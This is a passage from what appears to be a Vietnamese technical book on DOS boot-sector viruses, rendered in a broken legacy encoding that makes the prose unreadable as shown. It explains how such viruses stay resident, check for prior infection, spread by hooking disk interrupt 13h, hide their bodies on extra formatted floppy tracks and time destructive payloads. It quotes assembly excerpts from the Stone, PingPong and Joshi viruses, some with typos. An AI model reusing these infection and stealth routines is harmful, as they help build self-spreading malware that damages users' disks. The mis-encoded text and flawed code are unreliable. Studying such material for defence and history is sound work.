nÕu cã qu¸ nhiÒu b¶n sao nh− thÕ trong vïng nhí, ChÝnh v× lÝ do nµy, mét yªu cÇu nghiªm 
ngÆt ®èi víi mäi lo¹i B - virus lµ ph¶i ®¶m b¶o ®−îc sù tån t¹i duy nhÊt trªn ®Üa. Sù tån t¹i duy 
nhÊt trªn ®Üa sÏ ®¶m b¶o sù tån t¹i duy nhÊt trong vïng nhí sau ®ã. 
Tuy nhiªn, víi tèc ®é t¨ng ®¸ng kÓ vÒ sè l−îng B - virus, hiÖn t−îng 2 hay nhiÒu virus cïng 
‘chia xÎ’ mét ®Üa tÊt nhiªn sÏ x¶y ra. Trong tr−êng hîp nµy, viÖc kiÓm tra sù tån t¹i sÏ dÉn ®Õn 
sù sai lÖch vµ hËu qu¶ 1 virus sÏ t¹o b¶n sao chÝnh nã nhiÒu lÇn trªn ®Üa, g©y khã kh¨n cho 
viÖc söa ch÷a sau nµy. 

2/ TÝnh l−u tró: Kh«ng nh− F -virus, B - virus chØ ®−îc trao quyÒn ®iÒu khiÓn mét lÇn duy 
nhÊt. Do ®ã, ®Ó ®¶m b¶o ®−îc tÝnh ‘Popup’, nã ph¶i cã tÝnh chÊt cña mét TSR, nghÜa lµ ph¶i 
th−êng tró. Song khi virus vµo vïng nhí, DOS ch−a ®−îc trao quyÒn tæ chøc Memory theo ý 
m×nh nªn virus cã quyÒn chiÕm ®o¹t kh«ng khai b¸o bÊt k× mét l−îng vïng nhí nµo mµ nã 
cÇn, DOS sau ®ã sÏ qu¶n lÝ phÇn cßn l¹i cña vïng nhí. 

3/ TÝnh l©y lan: §©y kh«ng ph¶i lµ yªu cÇu cÇn cã mµ chØ ph¶i cã nÕu virus muèn tån t¹i vµ 
ph¸t triÓn. ViÖc l©y lan chØ x¶y ra trong qu¸ tr×nh truy xuÊt ®Üa, nghÜa lµ virus sÏ chi phèi ng¾t 
13h ®Ó thùc hiÖn viÖc l©y lan. 

4/ TÝnh ph¸ ho¹i: Kh«ng ph¶i lµ tÝnh b¾t buéc nh−ng hÇu nh− (nÕu kh«ng nãi lµ tÊt c¶) mäi 
virus ®Òu cã tÝnh ph¸ ho¹i. Nh÷ng ®o¹n m� ph¸ ho¹i nµy sÏ ®−îc kÝch ho¹t khi ®Õn mét thêi 
®iÓm x¸c ®Þnh nµo ®ã. 

5/ TÝnh g©y nhiÔm vµ ngôy trang: Khi b¶n chÊt cña virus ®−îc kh¶o s¸t t−êng tËn th× viÖc 
ph¸t hiÖn virus kh«ng cßn lµ vÊn ®Ò phøc t¹p. Do ®ã, yªu cÇu ngôy trang vµ g©y nhiÔu ngµy 
cµng trë nªn cÊp b¸ch ®Ó b¶o ®¶m tÝnh sèng cßn cña virus. ViÖc g©y nhiÔu t¹o nhiÒu khã kh¨n 
cho nh÷ng nhµ chèng virus trong viÖc theo dâi ch−¬ng tr×nh ®Ó t×m c¸ch kh«i phôc Boot, viÖc 
ngôy trang lµm cho virus cã mét vÎ bÒ ngoµi, lµm cho kh¶ n¨ng ph¸t hiÖn b−íc ®Çu bÞ bá qua. 

6/ TÝnh t−¬ng thÝch: Kh«ng nh− F - virus, B - virus kh«ng phô thuéc vµo hÖ ®iÒu hµnh nµo 
(mÆc dï nh÷ng virus sau nµy qu¸ l¹m dông kh¶ n¨ng cña DOS). Tuy nhiªn, v× ®Üa cã qu¸ 
nhiÒu lo¹i, chØ riªng ®Üa mÒm còng ®� cã lo¹i 360Kb, 1.2Mb,..... còng g©y nhiÒu khã kh¨n cho 
virus trong viÖc thiÕt kÕ. Nã ph¶i t−¬ng thÝch - hiÓu theo nghÜa l©y lan ®−îc - víi mäi lo¹i ®Üa. 
Cµng t−¬ng thÝch bao nhiªu, kh¶ n¨ng tån t¹i vµ l©y lan sÏ cao bÊy nhiªu. 
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MÆt kh¸c, sù thõa kÕ cña c¸c bé vi xö lÝ (8086 - 80x86) ®� lµm xuÊt hiÖn nhiÒu ®iÓm dÞ ®ång 
mÆc dï tÝnh t−¬ng thÝch ®−îc b¶o ®¶m tèi ®a. Mét hacker tµi giái ph¶i chó ý ®Õn ®iÒu nµy. 
Mét vÝ dô ®¬n gi¶n cã thÓ kÓ ra: ë bé vi xö lÝ 8088, cã thÓ g¸n gi¸ trÞ tõ thanh ghi AX vµo 
thanh ghi ph©n ®o¹n m� CS b»ng lÖnh MOV CS, AX. §iÒu nµy kh«ng thÓ thùc hiÖn ®−îc trªn 
c¸c bé vi xö lÝ kh¸c. 
C¸c yªu cÇu cña mét B - virus ®� ®−îc kh¶o s¸t xong. Nh−ng nh÷ng kÜ thuËt ®Ó biÕn c¸c yªu 
cÇu nµy thµnh hiÖn thùc l¹i ch−a ®−îc ®Ò cËp ®Õn. PhÇn sau sÏ minh häa tõng kÜ thuËt nµy. 
 
 
V - Ph©n TÝch KÜ ThuËt. 

Yªu cÇu ®Çu tiªn lµ ph¶i ®−a ra kÜ thuËt l−u tró - kÜ thuËt sÏ ¶nh h−ëng ®Õn mäi t¸c vô sau ®ã. 

1/ KÜ thuËt l−u tró: Khi thùc hiÖn xong ch−¬ng tr×nh POST, gi¸ trÞ tæng sè vïng nhí võa 
®−îc test (vïng nhí c¬ b¶n) sÏ l−u vµo vïng Bios data ë ®Þa chØ 0:413h. Khi hÖ ®iÒu hµnh nhËn 
quyÒn ®iÒu khiÓn, nã sÏ coi vïng nhí mµ nã kiÓm so¸t lµ gi¸ trÞ trong ®Þa chØ nµy. Do ®ã, sau 
qua tr×nh POST vµ tr−íc khi hÖ ®iÒu hµnh nhËn quyÒn ®iÒu khiÓn, nÕu “ai ®ã “ thay ®æi gi¸ trÞ 
trong ®Þa chØ nµy sÏ lµm cho hÖ ®iÒu hµnh mÊt quyÒn qu¶n lÝ vïng nhí ®ã. TÊt c¶ c¸c B - virus 
®Òu lµm ®iÒu nµy, tïy theo kÝch th−íc ch−¬ng tr×nh virus vµ buffer cho riªng nã, vïng nhí c¬ 
b¶n sÏ bÞ gi¶m xuèng t−¬ng øng. Tuy nhiªn, cho ®Õn nay, hÇu nh− kh«ng cã virus nµo chiÕm 
h¬n 7Kb cho mét m×nh nã, nh−ng viÖc tßn t¹i nhiÒu lo¹i virus trªn 1 ®Üa Boot sÏ lµm tèn kh¸ 
nhiÒu bé nhí vµ do ®ã còng gãp phÇn gi¶m tèc ®é thùc hiÖn. 
§o¹n m� sau sÏ minh häa cho kÜ thuËt nµy b»ng c¸ch gi¶m vïng nhí ®i 2 Kb: 
 mov  AX, 0 
 mov  DS, AX    ;DS: Bios data 
 mov  AX, word ptr [0413]  ;AX= tæng memory co b¶n 
 dec  AX 
 dec  AX     ;Gi¶m AX ®i 2Kb 
 mov  word ptr [0413], AX  ; Vïng nhí ®� bÞ gi¶m 
 ...... 
(TrÝch ch−¬ng tr×nh virus Stone) 
 
VÒ sau, kÜ thuËt nµy béc lé nhiÒu nh−îc ®iÓm: khi gÆp Warm Boot, qu¸ tr×nh test memory 
kh«ng ®−îc thùc hiÖn l¹i vµ do ®ã virus l¹i tù nã gi¶m kÝch th−íc thªm mét lÇn n÷a. Qu¸ tr×nh 
Warm Boot nÕu ®−îc lÆp ®i lÆp l¹i vµi lÇn (nhÊt lµ khi c¸c ®éc gi¶ ®ang “nghiªn cøu “vÒ virus 
ch¼ng h¹n) sÏ lµm ®Çy vïng nhí vµ ®ã sÏ lµ dÊu hiÖu “®¸ng ngê “vÒ sù xuÊt hiÖn cña virus. §Ó 
gi¶i quyÕt tr−êng hîp nµy, tr−íc khi tiÕn hµnh l−u tró, virus sÏ kiÓm tra sù tån t¹i cña m×nh 
trong vïng nhí, nÕu kh«ng gÆp mét nhËn d¹ng ®¸ng kÓ nµo, viÖc l−u tró míi ®−îc thùc hiÖn. 

2/ KÜ thuËt kiÓm tra tÝnh duy nhÊt: §Çu tiªn, chØ cã viÖc kiÓm tra trªn ®Üa, mét ®Üa ch−a bÞ 
l©y sÏ bÞ l©y. Nh−ng, nh− ®� ®Ò cËp ë trªn, nh−îc ®iÓm cña ph−¬ng ph¸p l−u tró còng ®ßi hái 
kÜ thuËt nµy ®−îc ¸p dông vµo viÖc kiÓm tra vïng nhí. Tuy vËy, vÉn cã sù kh¸c nhau gi÷a 2 
c¸ch kiÓm tra nµy. Chóng ta sÏ xÐt lÇn l−ît ë ®©y. 
a. Trªn ®Üa:  ViÖc kiÓm tra trªn ®Üa gÆp nhiÒu ®iÒu phiÒn to¸i v× nã ®ßi hái ph¶i tháa m�n 2 
yªu cÇu: 
 + Thêi gian kiÓm tra: nÕu mäi t¸c vô ®äc/ghi ®Òu ph¶i kiÓm tra ®Üa th× râ rµng  thêi gian 
truy xuÊt sÏ bÞ t¨ng gÊp ®«i, gia t¨ng nguy c¬ bÞ nghi ngê. 
 + KÜ thuËt kiÓm tra: ph¶i b¶o ®¶m tÝnh chÝnh x¸c gi÷a mét ®Üa bÞ l©y vµ mét ®Üa ch−a bÞ 
l©y, còng nh− b¶o ®¶m tÝnh trïng hîp ngÉu nhiªn lµ Ýt nhÊt. 
§Ó gi¶i quyÕt c¶ 2 yªu cÇu trªn, c¸c kÜ thuËt sau ®� ®−îc c¸c virus ¸p dông 
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§èi víi thêi gian kiÓm tra cã thÓ gi¶m sè lÇn kiÓm tra xuèng b»ng c¸ch chØ kiÓm tra nÕu ph¸t 
hiÖn cã sù thay ®æi truy xuÊt tõ æ nµy sang æ kh¸c. MÆt kh¸c, chuyÓn sè lÇn kiÓm tra th−êng 
xuyªn thµnh “®Þnh k× “b»ng c¸ch kiÓm tra thêi gian. Mét h×nh thøc kh¸c còng gi¶m bít sè lÇn 
kiÓm tra nÕu ta ®Ó ý ®Üa cøng lu«n cè ®Þnh, kh«ng bÞ thay ®æi, do ®ã nÕu tiÕn hµnh l©y mét lÇn 
sÏ kh«ng cÇn thiÕt ph¶i kiÓm tra, cßn ®èi víi ®Üa mÒm, mäi t¸c vô ®äc track 0 míi kiÓm tra. 
§iÒu nµy còng kh«ng cã g× ®¸ng ng¹c nhiªn nÕu ta biÕt FAT trªn ®Üa mÒm hÇu nh− b¾t ®Çu 
sau virus vµ DOS cÇn ph¶i cã b¶ng FAT ®Ó qu¶n lÝ ®Üa ®ã. §o¹n m� sau ¸p dông 2 ph−¬ng 
ph¸p ®Çu: 
;Khi ng¾t 13h ®−îc gäi 
cmp  Disk, DL     ;So s¸nh ®Üa cña t¸c vô tr−íc víi gi¸ trÞ 
mov  Disk, DL     ;cña t¸c vô nµy 
jne  kiemtra     ;NÕu cã thay ®æi sÏ kiÓm tra 
xor  AH, AH 
int  01AH     ;LÊy timetick count 
mov  CX, DX     ;CÊt time low 
sub  DX, count     ;Trõ gi¸ trÞ timetick low hiÖn thêi 
mov  count, CX     ;víi timetick low cña t¸c vô tr−íc 
sub  DX, 24h     ;vµ l−u l¹i chªnh lÖch 2 t¸c vô ®� 
jb  khongkiemtra    ;tíi 2 gi©y ch−a? 
kiemtra: 
(TrÝch PingPong virus) 
 §o¹n m� sau minh häa ph−¬ng ph¸p thø 3: 
push  DS 
push  AX 
cmp  AH, 2     ;T¸c vô ®äc/ghi? B»ng c¸ch so s¸nh 
jb  notInfect     ;t¸c vô víi 2 vµ 4 
cmp  AH, 4 
jae  notInfect  
or  DL. DL 
jne  notInfect     ;§Üa A? 
.......        ;§o¹n m� l©y 
notInfect: 
 ........ 
(Trich Stone virus) 
 
§èi víi kÜ thuËt kiÓm tra, cã nhiÒu c¸ch. Tuy nhiªn, cã thÓ nªu ra 2 c¸ch sau: 
 KiÓm tra gi¸ trÞ tõ khãa (Key value): mçi virus sÏ t¹o cho m×nh mét gi¸ trÞ ®Æc biÖt t¹i 1 vÞ trÝ 
x¸c ®Þnh trªn ®Üa. ViÖc kiÓm tra sÏ ®¬n gi¶n b»ng c¸ch ®äc Boot record lªn vµ kiÓm tra gi¸ trÞ 
tõ khãa nµy. Gi¸ trÞ cña Key value nµy thay ®æi tïy theo virus. §èi víi Brain 9.0, gi¸ trÞ cña 
key value nµy lµ 01234 ë offset 03, ®èi víi Pingpong virus, key value lµ 1357h ë offset 01FCh. 
Mét d¹ng kh¸c cña Key value lµ kiÓm tra gi¸ trÞ cña mét m� lÖnh ®Æc biÖt mµ nÕu kh«ng cã 
m� lÖnh nµy ch−¬ng tr×nh virus sÏ kh«ng cßn ý nghÜa g× n÷a (virus sÏ kh«ng l©y hay kh«ng thi 
hµnh). §ã lµ tr−êng hîp cña virus Stone víi c¸ch kiÓm tra 2 tõ khãa ë offset 0 vµ 2 lµ 05EAh 
vµ 0C000h, §©y lµ m� lÖnh cña mét lÖnh JMP FAR, theo ®ã toµn bé ch−¬ng tr×nh sÏ ®−îc 
®Þnh vÞ l¹i theo segment:offset míi 
KÜ thuËt key value nµy ®� gÆp nhiÒu trë ng¹i khi sè l−îng B - virus t¨ng lªn ®¸ng kÓ mµ vÞ trÝ 
trªn Boot sector th× cã h¹n. V× vËy kh«ng cã g× ®¸ng ng¹c nhiªn nÕu Disk Killer virus vµ Brain 
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9.2 cã cïng mét offset cña key value t¹i vÞ trÝ 03Eh víi hai key value kh¸c nhau lµ 03CCBh vµ 
01234h. ChÝnh v× vËy, mét kÜ thuËt míi ph¶i ®−îc ®−a ra nh»m kh¾c phôc ®iÒu nµy. C¸ch kh¾c 
phôc nµy sÏ lµm gi¶m kh¶ n¨ng trïng hîp ngÉu nhiªn b»ng c¸ch t¨ng sè l−îng m� lÖnh cÇn so 
s¸nh lªn. ViÖc so s¸nh nµy tiÕn hµnh b»ng c¸ch so s¸nh mét ®o¹n m� quan träng cña virus 
trong vïng nhí víi ®o¹n m� t−¬ng øng trªn Boot sector cña ®Üa. Mäi sù kh¸c biÖt dï chØ trªn 
mét byte còng dÉn ®Õn viÖc l©y lan. §o¹n m� so s¸nh nµy cÇn ph¶i mang tÝch chÊt ®Æc biÖt cho 
virus ®ã, cïng tån t¹i víi sù tån t¹i cña virus ®ã. 
§o¹n m� sau sÏ minh häa kÜ thuËt nµy b»ng c¸ch so s¸nh 2 chuçi: 
;Gi¶ sö Boot sector ®−îc ®äc vµo buffer cã tªn Buffer1 
mov  SI, offset buffer1 
mov  AX, CS 
sub  AX, 20h     ;ES:DI trá ®Õn offset 2 cña   
mov  ES, AX     ;buffer chøa Boot sector 
mov  DI, 2 
mov  BL, ptr byte [DI-1]   ;TÝnh to¸n offset cña ®o¹n m� 
mov  bh, 0      ;cÇn ph¶i dß 
add  DL, BX 
add  SI, BX 
mov  CX, 179h 
sub  CX, DL 
cld 
repe  cmpsb 
je  Da_nhiem 
.......... 
 Da_nhiem: 
  .......... 
(Ch−¬ng tr×nh cña Joshi virus). 
 
Ngoµi ra, kh«ng ph¶i lµ ®� hÕt c¸c kÜ thuËt kiÓm tra kh¸c cã thÓ nªu ra ë ®©y nh− kÜ thuËt 
Checksum, tuy nhiªn, kÜ thuËt cµng tinh vi, cµng chÝnh x¸c bao nhiªu th× ®o¹n m� kiÓm tra 
cµng dµi bÊy nhiªu. Tr−íc m¾t, kÜ thuËt trªn còng ®� b¶o ®¶m tèc ®é kiÓm tra vµ tÝnh chÝnh 
x¸c nªn cã lÏ sÏ kh«ng cßn mét kÜ thuËt nµo kh¸c ®−îc ®−a ra (kh¶ n¨ng ®Ó mét ®Üa trïng 
nhau ®o¹n m� hÇu nh− lµ kh«ng cã v× c¸c ®Üa ®Òu ®−îc format d−íi mét vµi hÖ ®iÒu hµnh quen 
thuéc, do ®ã ‘t¸c gi¶’ cã thÓ ®� thö nghiªm råi! MÆt kh¸c, nÕu hai virus cïng nhËn diÖn mét 
®o¹n m� th× còng coi nh− ®� bÞ nhiÔm virus råi. 
b. Trong vïng nhí:  ViÖc kiÓm tra sù tån t¹i cña m×nh trong vïng nhí b¶o ®¶m virus kh«ng ®Ó 
qu¸ nhiÒu b¶n sao cña m×nh trong vïng nhí nÕu m¸y tÝnh bÞ Boot mÒm liªn tôc (warm boot) 
®iÒu nµy b¶o ®¶m cho virus tr¸nh ®−îc nguy c¬ bÞ ph¸t hiÖn v× ®� lµm gi¶m tèc ®é lµm viÖc 
cña ch−¬ng tr×nh. MÆt kh¸c, lµm gi¶m ®i thêi gian “n¹p “l¹i ch−¬ng tr×nh virus vµo vïng nhí. 
§Ó kiÓm tra sù tån t¹i cña m×nh trong vïng nhí, B - virus ®¬n gi¶n cã thÓ dß t×m mét key 
value t¹i mét vÞ trÝ x¸c ®Þnh trªn vïng nhí cao hoÆc phøc t¹p h¬n, cã thÓ dß t×m mét ®o¹n 
mang m� virus sÏ ph¶i “n¹p “ch−¬ng tr×nh cña m×nh vµo nÕu viÖc dß t×m kh«ng thµnh c«ng. 
§o¹n ch−¬ng tr×nh sau sÏ minh häa c¸ch dß t×m nay: 
cli        ;T¹o stack vµ khëi t¹o c¸c thanh ghi  
mov  AX, CS     ;ph©n ®o¹n 
mov  DS, AX 
mov  SS, AX 
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mov  SP, 0F000h 
sti        ;LÊy gi¸ trÞ tæng céng 
mov   AX, w[0413]    ;Vïng nhí ¸p dông kÜ thuËt  
mov  CL, 6     ;th−êng tró 
shl  AX, CL     ;§æi sang ®o¹n 
mov  ES, AX     ;ES trá ®Õn vïng nµy 
mov  AX, 0200     ;X¸c ®Þnh vÞ trÝ cÇn dß t×m 
sub  AX, 021h 
mov  DI, 0 
mov  SI, 07C00     ;DS:SI trá ®Õn Boot record 
add  SI, AX     ;cña virus 
add  DI, AX     ;ES:DI trá ®Õn offset 200h-21h 
mov  CX, 1079     ;cña vïng cao 
sub  CX, AX     ;CX chøa sè byte cÇn so s¸nh 
cld        ;CX=179h-21h 
repe  cmpsb 
jne  naplai     ;So s¸nh nÕu kh«ng b»ng sÏ n¹p l¹i 
mov  AX, ES     ;ch−¬ng tr×nh, nÕu b»ng chuyÓn 
add  AX, 20h     ;quyÒn ®iÒu khiÓn cho ®o¹n trªn 
mov  ES, AX     ;vïng cao mµ kh«ng cÇn n¹p l¹i 
mov  BX, 0     ;ch−¬ng tr×nh 
push  ES 
push  BX 
mov  AX, 1 
retf 
 Naplai: 
........ 
 (TrÝch Joshi virus). 
 

3/ KÜ thuËt l©y lan: ViÖc l©y lan chiÕm mét phÇn lín m� lÖnh cña ch−¬ng tr×nh. §Ó b¶o ®¶m 
viÖc l©y lan g¾n liÒn víi ®Üa, virus sÏ chiÕm ng¾t ®Üa quan träng nhÊt: ng¾t 13h. S¬ ®å chung 
cña phÇn nµy nh− sau: 
 
     
       §äc/Ghi    No    
       
           Yes 
      §äc Boot sector  
 
            
    §� nhiÔm? 
      
     
 Ghi Boot sector cña virus 
 



www.updatesofts.com 

 39 

              Ghi phÇn th©n vµ Boot sector vµo 
      mét vïng x¸c ®Þnh 
 
 
Th«ng th−êng, kh«ng ph¶i mäi chøc n¨ng cña ng¾t 13h ®Òu dÉn ®Õn viÖc l©y lan v× ®iÒu nµy sÏ 
lµm gi¶m ®i tèc ®é truy xuÊt mét c¸ch ®¸ng ngê mµ tèt nhÊt chØ nh÷ng t¸c vô ®äc/ghi (chøc 
n¨ng 2 vµ 3). ViÖc l©y lan b¾t ®Çu b»ng c¸ch ®äc Boot sector lªn nÕu kh«ng tháa (ch−a bÞ 
nhiÔm) virus sÏ t¹o mét Boot sector míi cã c¸c tham sè t−¬ng øng, cßn Boot sector võa ®äc 
lªn cïng víi phÇn th©n (nÕu lµ lo¹i DB - virus) sÏ ®−îc ghi vµo mét vïng x¸c ®Þnh trªn ®Üa. 
Tuy vËy, viÖc l©y lan còng ®ßi hái nh÷ng b¶o ®¶m sau: 
Boot sector vÉn cßn chøa nh÷ng tham sè ®Üa thuËn tiÖn cho c¸c t¸c vô truy xuÊt ®Üa (b¶ng tham 
sè BPB - trong tr−êng hîp Boot sector hay b¶ng Partition table trong tr−êng hîp Master boot), 
do ®ã, virus ph¶i b¶o ®¶m cho ®−îc b¶ng tham sè nµy b»ng c¸ch l−u gi÷ nã. ViÖc kh«ng b¶o 
toµn cã thÓ dÉn ®Õn chuyÖn virus sÏ mÊt quyÒn ®iÒu khiÓn hay kh«ng thÓ kiÓm so¸t ®−îc ®Üa 
nÕu virus kh«ng cã mÆt trong m«i tr−êng. VÝ dô: phÇn mÒm NDD (Norton Disk Doctor) sÏ 
®iÒu chØnh l¹i b¶ng BPB trong tr−êng hîp b¶ng tham sè nµy sai, hay viÖc mÊt b¶ng tham sè ®Üa 
trªn æ ®Üa lo¹i 720Kb hoÆc 1.44Mb còng dÉn ®Õn viÖc kh«ng kiÓm so¸t ®−îc ®Üa nµy. Do ®ã, 
®iÒu tèt nhÊt lµ vÉn ph¶i gi÷ nã l¹i trong Boot sector míi vµ mét Ých lîi thø hai lµ cã thÓ dùa 
vµo ®©y ®Ó ®Þnh ra c¸c thµnh phÇn cña ®Üa (xem ch−¬ng 1). §o¹n m� sau minh häa viÖc tr¶ l¹i 
b¶ng tham sè BPB trong Boot sector míi: 
;§äc Boot sector vµo offset 07C00 vµ t¹o Boot sector míi t¹i 08000 
mov  AX, 0201 
mov  DH, 0 
mov  CX, 1 
mov  BX, 07C00h 
int  13h      ;§äc Boot sector vµo 
..... 
mov  SI, 08002     ;Copy b¾t ®Çu tõ sau lÖnh nh¶y 
mov  DI, 07C02 
mov  CX, 01Ch     ;Copy 1Ch byte 
rep  movsb 
...... 
(Trich PingPong virus) 
 
Sù an toµn d÷ liÖu cña Boot sector còng ®−îc ®Æt lªn hµng ®Çu. Ngoµi viÖc chÊp nhËn mÊt m¸t 
do ®Æt ë nh÷ng chç mµ x¸c suÊt bÞ ghi ®Ì lµ Ýt nhÊt, chóng ta sÏ kh¶o s¸t 2 kÜ thuËt ®¶m b¶o an 
toµn cho Boot sector. §ã lµ format thªm track vµ ®¸nh dÊu cluster háng trªn ®Üa. 
 + Format thªm track: kÜ thuËt nµy chØ ¸p dông ®−îc trªn ®Üa mÒm (trªn ®Üa cøng ®� cã 
nh÷ng vïng tuyÖt ®èi an toµn råi). Th«ng th−êng, bé ®iÒu khiÓn ®Üa mÒm ®Òu cho phÐp format 
thªm track, nh−ng do møc ®é an toµn th«ng tin kh«ng b¶o ®¶m, DOS chØ dïng mét sè nµo ®ã 
mµ th«i. ViÖc format thªm track ®ßi hái virus ph¶i chuÈn bÞ b¶ng m« t¶ sector trong track mµ 
nã dù ®Þnh format (sector descriptor) cã d¹ng: mçi sector trong mét track ®−îc ®Æc tr−ng 4 
byte cã d¹ng ‘CHNS’. Trong ®ã: C=Cylinder; H=head; N=sè sector; S=kÝch th−íc cña sector 
(0=128 byte, 1=256 byte, 2=512 byte, ....). C¸c b−íc tiÕn hµnh viÖc format nh− sau: 
 - X¸c ®Þnh lo¹i ®Üa ®Ó tõ ®ã suy ra track cuèi cïng, tuy nhiªn, ®iÒu nµy chØ ®óng víi ®Üa 
®−îc format d−íi DOS. 
 - §Æt l¹i cÊu h×nh æ ®Üa tr−íc khi format. 
 - Khëi t¹o b¶ng sector descriptor c¨n cø vµo sè track tÝnh ®−îc. 
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§o¹n m� sau cña Joshi virus kh«ng ®Þnh d¹ng æ ®Üa tr−íc khi format nªn ®� g©y lçi khi format 
®Üa lo¹i 1.2Mb. 
  mov  AX, CS 
  sub  AX, 20h 
  mov  ES, AX 
  mov  DI, 2 
  mov  BH, 0 
  mov  BL, ptr byte [DI-1] 
  add  DI, BX 
  cmp  DI, 80h     ;§Þnh vÞ ®Ó ES:DI trá vµo b¶ng tham sè 
  jb  Floppy 
  mov  ptr byte [DI-3], 0   ;offset néi dung 
  mov  ptr byte [DI-2], 2   ; -1: sè ®Üa vËt lÝ 
  mov  ptr byte [DI-1], 80h   ; -2: sè sector  
  jmp  cont0     ; -3: sè track 
 Floppy: 
  mov  ptr byte {DI-2], 1   ;NÕu ®Üa mÒm sÏ khëi t¹o sector 1 
  mov  ptr byte [DI-1], 0   ;§Üa physic 0 
  mov  ptr byte [DI-3], 28h   ;Track 28h (®Üa 360Kb) 
  mov  AL, 4     ;Verify sector 15, nÕu gÆp lçi coi nh− kh«ng 
  mov  AL, 1     ;cã sector nµy, ng−îc l¹i, ®Üa sÏ cã 50h track 
  mov  CH, 0     ;do ®ã ®Üa lµ 1,2Mb 
  mov  CL, 0Fh 
  mov  DH, 0 
  call  OldDisk 
  je  cont1 
  mov  ptr byte [DI-3], 50h   ;§iÒu chØnh l¹i sè track theo lo¹i ®Üa 
 Cont1:        ;PhÇn khëi t¹o descriptor 
  mov  AL, ptr byte [DI-3]   ;AL = sè track 
  push  CS 
  pop  ES 
  mov  DI, offset SectorDescriptor 
  mov  CX, 8     ;T¹o 8 sector mét track 
 Cont2: 
  stosp        ;T¹o gi¸ trÞ 
  inc  DI 
  inc  DI 
  inc  DI      ;Trá ®Õn tham sè kÕ trong b¶ng 
  loop  cont2 
;PhÇn format ®Üa 
  mov  AX, CS 
  sub  AX, 20h 
  mov  ES, AX 
  mov  DI, 2 
  mov  bh, 0 
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  mov  BL, ptr byte [DI-1] 
  add  DI, BX 
  push  CX 
  mov  AH, 5     ;Format 
  mov  AL, 1 
  mov  ch, ptr byte [DI-3]   ;Track thªm 
  mov  CL, 1 
  mov  DH, 0     ;Head 0 
  push  CS 
  pop  ES 
  mov  BX, offset SectorDescriptor 
  call  OldDisk 
  ....... 
 OldDisk proc near 
  pushf       ;Hµm nµy gäi xa ®Õn ®Þa chØ cò 
  call  far int13     ;cña ng¾t 13 
  ret 
 OldDisk endp 
 SectorDescriptor db 28h,00h,01h,02h 
     28h,00h,02h,02h 
     28h,00h,03h,02h 
     28h,00h,04h,02h 
     28h,00h,05h,02h 
     28h,00h,06h,02h 
     28h,00h,07h,02h 
     28h,00h,08h,02h 
(TrÝch Joshi virus) 
 
Ph−¬ng ph¸p nµy Ýt ®−îc c¸c hacker −a chuéng vµ dïng v× tÝnh t−¬ng thÝch kh«ng cao gi÷a c¸c 
lo¹i æ ®Üa. Ph−¬ng ph¸p chiÕm cluster vÉn ®−îc nhiÒu ng−êi dïng dï ®é phøc t¹p cña nã cao 
h¬n. ë ®©y, t«i sÏ kh«ng ®i s©u vµo chi tiÕt c¸ch ph©n tÝch vµ ®Þnh vÞ cluster trªn FAT v× sÏ 
mÊt qu¸ nhiÒu th× giê mµ lµm cho ®éc gi¶ thªm khã hiÓu. Tuy nhiªn, vÉn nªu ra ®©y c¸c khã 
kh¨n gÆp ph¶i khi sö dông ph−¬ng ph¸p nµy. 
 + Nªn ph©n tÝch FAT chØ cho ®Üa mÒm hay cho c¶ hai lo¹i ®Üa mÒm lÉn ®Üa cøng? Th«ng 
th−êng, c¸c hacker chän ph−¬ng ¸n chØ ph©n tÝch trªn FAT cña ®Üa mÒm v× tÊt c¶ c¸c lo¹i ®Üa 
mÒm (vµ c¶ ®Üa cøng d−íi 12Mb) ®Óu dïng lo¹i FAT 12 bit, ®¬n gi¶n h¬n lµ ph¶i ph©n tÝch 
thªm FAT 16 bit. MÆt kh¸c, c¸c ®Üa cøng dï cã chia partition hay kh«ng còng th−êng cã c¸c 
sector Èn (Hidden sector) kh«ng dïng ®Õn (nÕu nã ch−a bÞ mét virus kh¸c tr−ng dông), rÊt 
thuËn lîi cho viÖc cÊt dÊu. Nh−ng vÉn cã ngo¹i lÖ khi Pingpong virus vÉn lµm ®iÒu khã kh¨n 
nµy, nã chiÕm c¸c cluster trªn c¶ hai lo¹i FAT víi ®o¹n m� ph©n tÝch FAT ‘tèi −u’ vÒ kÝch 
th−íc còng nh− gi¶i thuËt, ®−îc ‘trÝch ®o¹n’ tõ m� ph©n tÝch FAT trong file hÖ thèng IO.SYS 
cña DOS. 
 + Chän ph−¬ng ph¸p nµy, hacker ph¶i chÊp nhËn t¶i FAT vµo vïng nhí ®Ó ph©n tÝch. 
Nh−ng kÝch th−íc FAT cña mçi ®Üa lµ kh¸c nhau, cã thÓ chiÕm nhiÒu sector (®èi víi ®Üa 
1.2Mb lªn ®Õn 7 sector cho mét FAT). Do ®ã, kÝch th−íc vïng nhí mµ virus ph¶i chiÕm chç 
cho FAT còng ®� qu¸ lín, ch−a kÓ ®Õn ®o¹n ch−¬ng tr×nh cña virus. Gi¶i quyÕt vÊn ®Ò nµy 
còng kh«ng ph¶i lµ dÔ dµng nÕu ta biÕt DOS còng ph¶i ®Õn version 3.xx míi gi¶i quyÕt ®−îc. 
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4/ KÜ thuËt ph¸ ho¹i: Kh«ng ai xa l¹ g× vÒ kiÓu ph¸ ho¹i cña virus (®«i khi còng ®æ lçi cho 
virus ®Ó che dÊu sù thiÕu hiÓu biÕt cña m×nh). Cã thÓ chia nh÷ng lo¹i ph¸ ho¹i thµnh hai nhãm 
chÝnh. 
a. §Þnh thêi:  §èi víi lo¹i ®Þnh thêi, virus sÏ kiÓm tra mét gi¸ trÞ (cã thÓ lµ ngµy giê, sè lÇn 
l©y, sè giê m¸y ®� ch¹y ....). Khi gi¸ trÞ nµy v−ît qua mét gi¸ trÞ cho phÐp, virus sÏ b¾t ®Çu ph¸ 
ho¹i. Do tÝnh chÊt chØ ‘ra tay’ mét lÇn, virus lo¹i nµy th−êng nguy hiÓm. §Ó cã thÓ ®Õm giê, 
virus cã thÓ dïng c¸c c¸ch sau: 
 + ChiÕm ng¾t 8 ®Ó ®Õm giê: viÖc quy ®æi sÔ ®−îc tÝnh trßn h¬n lµ chÝnh x¸c. Theo c¸ch 
tÝnh nh− vËy, mét gi¸ trÞ 0FFFFh cña timetick count sÏ t−¬ng ®−¬ng nh− mét giê. C¸ch tÝnh 
nµy th−êng dïng ®Ó tÝnh sè giê ch¹y m¸y, gi¸ trÞ ®Õm cã thÓ cËp nhËt l¹i sau ®ã trªn ®Üa. §Æc 
tr−ng cho c¸ch nµy lµ virus Disk Killer víi bé ®Õm giê ‘khñng khiÕp’, sau khi ch¹y m¸y ®−îc 
